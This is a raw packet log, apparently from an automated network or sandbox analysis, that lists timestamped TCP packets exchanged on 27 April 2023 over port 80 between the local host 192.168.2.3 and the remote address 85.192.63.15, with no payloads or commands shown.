Apr 27, 2023 07:41:59.029078960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.029247046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.029247046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.032071114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.032118082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.032162905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.032185078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.032198906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.032254934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.032254934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.032254934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.033721924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.033775091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.033823013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.033859015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.033868074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.033869028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.033869028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.033934116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.036890984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.036940098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.036972046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.036993027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.037015915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.037029028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.037029028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.037056923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.037077904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.037106991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.038844109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.038912058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.038947105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.038949013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.038968086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.038997889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.039006948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.039037943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.039058924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.039096117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.040258884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.040316105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.040339947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.040349960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.040361881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.040399075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.040402889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.040436983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.040451050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.040487051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.043895006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.043942928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.043972969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.043989897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.043997049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.044043064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.044045925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.044092894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.044097900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.044127941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.044143915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.044178963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.064493895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.064526081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.064574003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.064574003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.064625025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.064660072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.064681053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.064685106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.064704895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.064734936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.067909956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.067958117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.067990065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.067994118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.068016052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.068017006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.068033934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.068068981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092587948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092621088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092655897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092689991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092717886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092751980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092761993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092761993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092761993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092761993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092761993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092794895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092824936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092847109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092847109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092859030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092866898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092888117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.092921019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.092942953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.095736027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.095773935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.095799923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.095823050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.095832109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.095859051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.095879078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.095879078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.095879078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.096167088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.097502947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.097528934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.097563028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.097573996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.097596884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.097599983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.097616911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.097624063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.097659111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.097676039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.100687027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.100717068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.100743055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.100752115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.100764990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.100771904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.100788116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.100811005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.102281094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.102307081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.102330923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.102355957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.102385044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.102423906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.102423906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.102425098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.102425098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.102504015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.105626106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.105650902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.105674982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.105691910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.105693102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.105712891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.105717897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.105730057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.105737925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.105751038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.105767012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.105791092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.107510090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.107531071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.107553959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.107578039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.107598066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.107656956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.107656956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.107656956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.107656956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.109400034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.109457970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.109493017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.109528065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.109555960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.109565973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.109565973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.109565973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.109602928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.109631062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.112879992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.112905979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.112931013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.112948895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.112973928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.112981081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.112996101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.113008022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.113008022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.113029957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.113045931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.114635944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.114664078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.114742994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.114763975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.114789963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.114809990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.114981890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.121897936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.121932030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.121959925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.121987104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.122009993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.122037888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.122039080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.122039080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.122039080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.122121096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.124078989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.124109030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.124136925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.124160051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.124182940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.124197960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.124198914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.124250889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.124252081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.129053116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.129080057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.129108906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.129138947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.129162073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.129194975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.129194975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.129194975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.129271984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.130989075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.131025076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.131055117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.131078959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.131134987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.131134987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.131134987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.132714987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.132740974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.132771015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.132867098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.132867098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.132868052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.132958889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.132986069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.133018970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.133040905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.136360884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.136396885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.136426926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.136452913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.136460066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.136460066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.136506081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.136506081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.142076969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.142136097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.142163038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.142194033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.142312050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.142312050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.143563986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.143630981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.143671989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.143713951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.143740892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.143740892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.143740892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.143747091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.143779993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.143795967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.143796921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.143831968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.145466089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.145509005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.145549059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.145554066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.145575047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.145582914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.145615101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.145632982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.150633097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.150676966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.150724888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.150737047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.150737047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.150777102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.150783062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.150831938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.150832891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.150885105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.157819986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.157885075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.157921076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.157967091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.157977104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.157977104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.157977104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.158006907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.158034086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.158056021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.159785032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.159847975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.159864902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.159899950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.159914970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.159941912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.159955978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.159992933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.164937019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.164994001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.165019035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.165040970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.165046930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.165115118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.166842937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.166877985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.166903973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.166912079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.166927099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.166933060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.166950941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.166973114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.168478966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.168510914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.168535948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.168540001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.168557882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.168560028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.168584108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.168606997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.172010899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.172034979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.172051907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.172071934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.172079086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.172079086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.172087908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.172102928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.172118902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.172142982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.174120903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.174160957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.174206018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.174226046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.174226046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.174252987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.174253941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.174292088 CEST	80	49697	85.192.63.15	192.168.2.3
